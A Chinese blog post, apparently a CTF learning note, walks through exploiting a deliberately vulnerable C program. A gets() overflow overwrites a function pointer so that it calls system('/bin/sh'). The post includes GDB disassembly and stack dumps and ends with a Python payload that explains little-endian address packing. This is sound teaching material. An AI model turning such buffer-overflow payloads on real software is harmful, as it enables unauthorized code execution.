Pwn python发送不可见字符串——小端序

本文介绍了通过GDB调试一个C程序,该程序存在栈溢出漏洞。通过输入特定数量的'a'字符,观察栈内存布局,并使用GDB设置内存值,将栈上的函数指针替换为`func`函数的地址,从而在执行时调用`func`来执行shell。调试过程中详细展示了如何修改内存以触发函数调用,揭示了64位系统的小端序问题。
摘要由CSDN通过智能技术生成

Pwn学习 python发送不可见字符串

1.源代码

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char sh[] = "bin/sh";

int init_func(){
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    return 0;
}

int func(char *cmd){
    system(sh);
    return 0;
}

int main(){
    init_func();
    volatile int (*fp)();
    fp = 0;
    int a;
    // char a[8];
    // char b[8];
    puts("input:");
    gets(&a);
    // printf(a);
    if(fp){
        fp();
    }
    return 0;
}

2.编译

gcc question_3.c -no-pie -o question_3

3.gdb调试

gdb-peda$ disass main
Dump of assembler code for function main:
   0x000000000040076b <+0>:	push   rbp
   0x000000000040076c <+1>:	mov    rbp,rsp
   0x000000000040076f <+4>:	sub    rsp,0x20
   0x0000000000400773 <+8>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040077c <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400780 <+21>:	xor    eax,eax
   0x0000000000400782 <+23>:	mov    eax,0x0
   0x0000000000400787 <+28>:	call   0x4006e7 <init_func>
   0x000000000040078c <+33>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400794 <+41>:	lea    rdi,[rip+0xc9]        # 0x400864
   0x000000000040079b <+48>:	call   0x4005b0 <puts@plt>
   0x00000000004007a0 <+53>:	lea    rax,[rbp-0x14]
   0x00000000004007a4 <+57>:	mov    rdi,rax
   0x00000000004007a7 <+60>:	mov    eax,0x0
   0x00000000004007ac <+65>:	call   0x4005e0 <gets@plt>
   0x00000000004007b1 <+70>:	cmp    QWORD PTR [rbp-0x10],0x0
   0x00000000004007b6 <+75>:	je     0x4007c3 <main+88>
=> 0x00000000004007b8 <+77>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x00000000004007bc <+81>:	mov    eax,0x0
   0x00000000004007c1 <+86>:	call   rdx
   0x00000000004007c3 <+88>:	mov    eax,0x0
   0x00000000004007c8 <+93>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007cc <+97>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007d5 <+106>:	je     0x4007dc <main+113>
   0x00000000004007d7 <+108>:	call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007dc <+113>:	leave  
   0x00000000004007dd <+114>:	ret    
End of assembler dump.
  • 可以看到在箭头处使用了call rdx
  • rdx是在上一行被赋值的
  • 我连续输入20个a后查看栈
gdb-peda$ x/20xg $rbp-0x20
0x7fffffffe4d0:	0x00000000004007e0	0x6161616100400600
0x7fffffffe4e0:	0x6161616161616161	0x6161616161616161
0x7fffffffe4f0:	0x0000000000400700	0x00007ffff7a03c87
0x7fffffffe500:	0x0000000000000001	0x00007fffffffe5d8
0x7fffffffe510:	0x0000000100008000	0x000000000040076b
0x7fffffffe520:	0x0000000000000000	0x3ecf204c5eb4e6c4
0x7fffffffe530:	0x0000000000400600	0x00007fffffffe5d0
0x7fffffffe540:	0x0000000000000000	0x0000000000000000
0x7fffffffe550:	0xc130df339b74e6c4	0xc130cf8c290ae6c4
0x7fffffffe560:	0x00007fff00000000	0x0000000000000000
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffe4f0
  • 那么程序会把0x7fffffffe4e0的位置当作函数指针
gdb-peda$ x/40b $rbp-0x20
0x7fffffffe4d0:	0xe0	0x07	0x40	0x00	0x00	0x00	0x00	0x00
0x7fffffffe4d8:	0x00	0x06	0x40	0x00	0x61	0x61	0x61	0x61
0x7fffffffe4e0:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0x7fffffffe4e8:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0x7fffffffe4f0:	0x00	0x07	0x40	0x00	0x00	0x00	0x00	0x00
  • 现在要把这个位置覆盖成func的函数地址
  • 使用set命令进行赋值
gdb-peda$ set *0x7fffffffe4e0=0
gdb-peda$ x/40b $rbp-20
0x7fffffffe4dc:	0x61	0x61	0x61	0x61	0x00	0x00	0x00	0x00
0x7fffffffe4e4:	0x61	0x61	0x61	0x61	0x61	0x61	0x61	0x61
0x7fffffffe4ec:	0x61	0x61	0x61	0x61	0x00	0x07	0x40	0x00
0x7fffffffe4f4:	0x00	0x00	0x00	0x00	0x87	0x3c	0xa0	0xf7
0x7fffffffe4fc:	0xff	0x7f	0x00	0x00	0x01	0x00	0x00	0x00
gdb-peda$ x/40xg $rbp-0x20
0x7fffffffe4d0:	0x00000000004007e0	0x6161616100400600
0x7fffffffe4e0:	0x6161616100000000	0x6161616161616161
0x7fffffffe4f0:	0x0000000000400700	0x00007ffff7a03c87
0x7fffffffe500:	0x0000000000000001	0x00007fffffffe5d8
0x7fffffffe510:	0x0000000100008000	0x000000000040076b
0x7fffffffe520:	0x0000000000000000	0x17fa4240ebe7e5f4
0x7fffffffe530:	0x0000000000400600	0x00007fffffffe5d0
0x7fffffffe540:	0x0000000000000000	0x0000000000000000
0x7fffffffe550:	0xe805bd3f2e27e5f4	0xe805ad809c59e5f4
0x7fffffffe560:	0x00007fff00000000	0x0000000000000000
0x7fffffffe570:	0x0000000000000000	0x00007ffff7de38d3
0x7fffffffe580:	0x00007ffff7dc9638	0x000000000e75740c
0x7fffffffe590:	0x0000000000000000	0x0000000000000000
0x7fffffffe5a0:	0x0000000000000000	0x0000000000400600
0x7fffffffe5b0:	0x00007fffffffe5d0	0x000000000040062a
0x7fffffffe5c0:	0x00007fffffffe5c8	0x000000000000001c
0x7fffffffe5d0:	0x0000000000000001	0x00007fffffffe7ff
0x7fffffffe5e0:	0x0000000000000000	0x00007fffffffe833
0x7fffffffe5f0:	0x00007fffffffee1f	0x00007fffffffee41
0x7fffffffe600:	0x00007fffffffee50	0x00007fffffffee61
gdb-peda$ set *0x7fffffffe4e4=0
gdb-peda$ x/40xg $rbp-0x20
0x7fffffffe4d0:	0x00000000004007e0	0x6161616100400600
0x7fffffffe4e0:	0x0000000000000000	0x6161616161616161
0x7fffffffe4f0:	0x0000000000400700	0x00007ffff7a03c87
0x7fffffffe500:	0x0000000000000001	0x00007fffffffe5d8
0x7fffffffe510:	0x0000000100008000	0x000000000040076b
0x7fffffffe520:	0x0000000000000000	0x17fa4240ebe7e5f4
0x7fffffffe530:	0x0000000000400600	0x00007fffffffe5d0
0x7fffffffe540:	0x0000000000000000	0x0000000000000000
0x7fffffffe550:	0xe805bd3f2e27e5f4	0xe805ad809c59e5f4
0x7fffffffe560:	0x00007fff00000000	0x0000000000000000
0x7fffffffe570:	0x0000000000000000	0x00007ffff7de38d3
0x7fffffffe580:	0x00007ffff7dc9638	0x000000000e75740c
0x7fffffffe590:	0x0000000000000000	0x0000000000000000
0x7fffffffe5a0:	0x0000000000000000	0x0000000000400600
0x7fffffffe5b0:	0x00007fffffffe5d0	0x000000000040062a
0x7fffffffe5c0:	0x00007fffffffe5c8	0x000000000000001c
0x7fffffffe5d0:	0x0000000000000001	0x00007fffffffe7ff
0x7fffffffe5e0:	0x0000000000000000	0x00007fffffffe833
0x7fffffffe5f0:	0x00007fffffffee1f	0x00007fffffffee41
0x7fffffffe600:	0x00007fffffffee50	0x00007fffffffee61
gdb-peda$ p &func
$2 = (<text variable, no debug info> *) 0x40074c <func>
gdb-peda$ set *0x7fffffffe4e0=0x40074c
gdb-peda$ 
  • 可以看到现在rdx已经被修改成了func的地址
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad208b 
RDX: 0x40074c (<func>:	push   rbp)
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a 
RDI: 0x0 
RBP: 0x7fffffffe4f0 --> 0x400700 (<init_func+25>:	add    BYTE PTR [rax-0x77],cl)
RSP: 0x7fffffffe4d0 --> 0x4007e0 (<__libc_csu_init>:	push   r15)
RIP: 0x4007c1 (<main+86>:	call   rdx)
R8 : 0x7ffff7dcf8c0 --> 0x0 
R9 : 0x7ffff7fe04c0 (0x00007ffff7fe04c0)
R10: 0x3 
R11: 0x246 
R12: 0x400600 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe5d0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4007b6 <main+75>:	je     0x4007c3 <main+88>
   0x4007b8 <main+77>:	mov    rdx,QWORD PTR [rbp-0x10]
   0x4007bc <main+81>:	mov    eax,0x0
=> 0x4007c1 <main+86>:	call   rdx
   0x4007c3 <main+88>:	mov    eax,0x0
   0x4007c8 <main+93>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x4007cc <main+97>:	xor    rcx,QWORD PTR fs:0x28
   0x4007d5 <main+106>:	je     0x4007dc <main+113>
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4d0 --> 0x4007e0 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffe4d8 --> 0x6161616100400600 
0016| 0x7fffffffe4e0 --> 0x40074c (<func>:	push   rbp)
0024| 0x7fffffffe4e8 ("aaaaaaaa")
0032| 0x7fffffffe4f0 --> 0x400700 (<init_func+25>:	add    BYTE PTR [rax-0x77],cl)
0040| 0x7fffffffe4f8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0048| 0x7fffffffe500 --> 0x1 
0056| 0x7fffffffe508 --> 0x7fffffffe5d8 --> 0x7fffffffe7ff ("/home/lwj/Desktop/git/ctf-pwn/question_3/question_3")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004007c1 in main ()
gdb-peda$ 
  • 继续执行程序就会跳转到shell
gdb-peda$ c
Continuing.
[New process 77144]
process 77144 is executing new program: /bin/dash   ==>这里显示已经开启了新进程
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x4007b8

gdb-peda$ 

4.payload

以下都是使用py2操作

payload = 'A' * 4 + '000000000040074c'
  • 要以字符型传入
payload = 'A' * 4 + '\x00\x00\x00\x00\x00\x40\x07\x4c'
  • 但是这个时候还是打不通的
  • 原因是我们没注意大小端序
  • 64位程序是小端序
  • 我手动操作换成小端序即可
payload = 'A' * 4 + '\x4c\x07\x40\x00\x00\x00\x00\x00'
  • 这就是小端序的问题
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值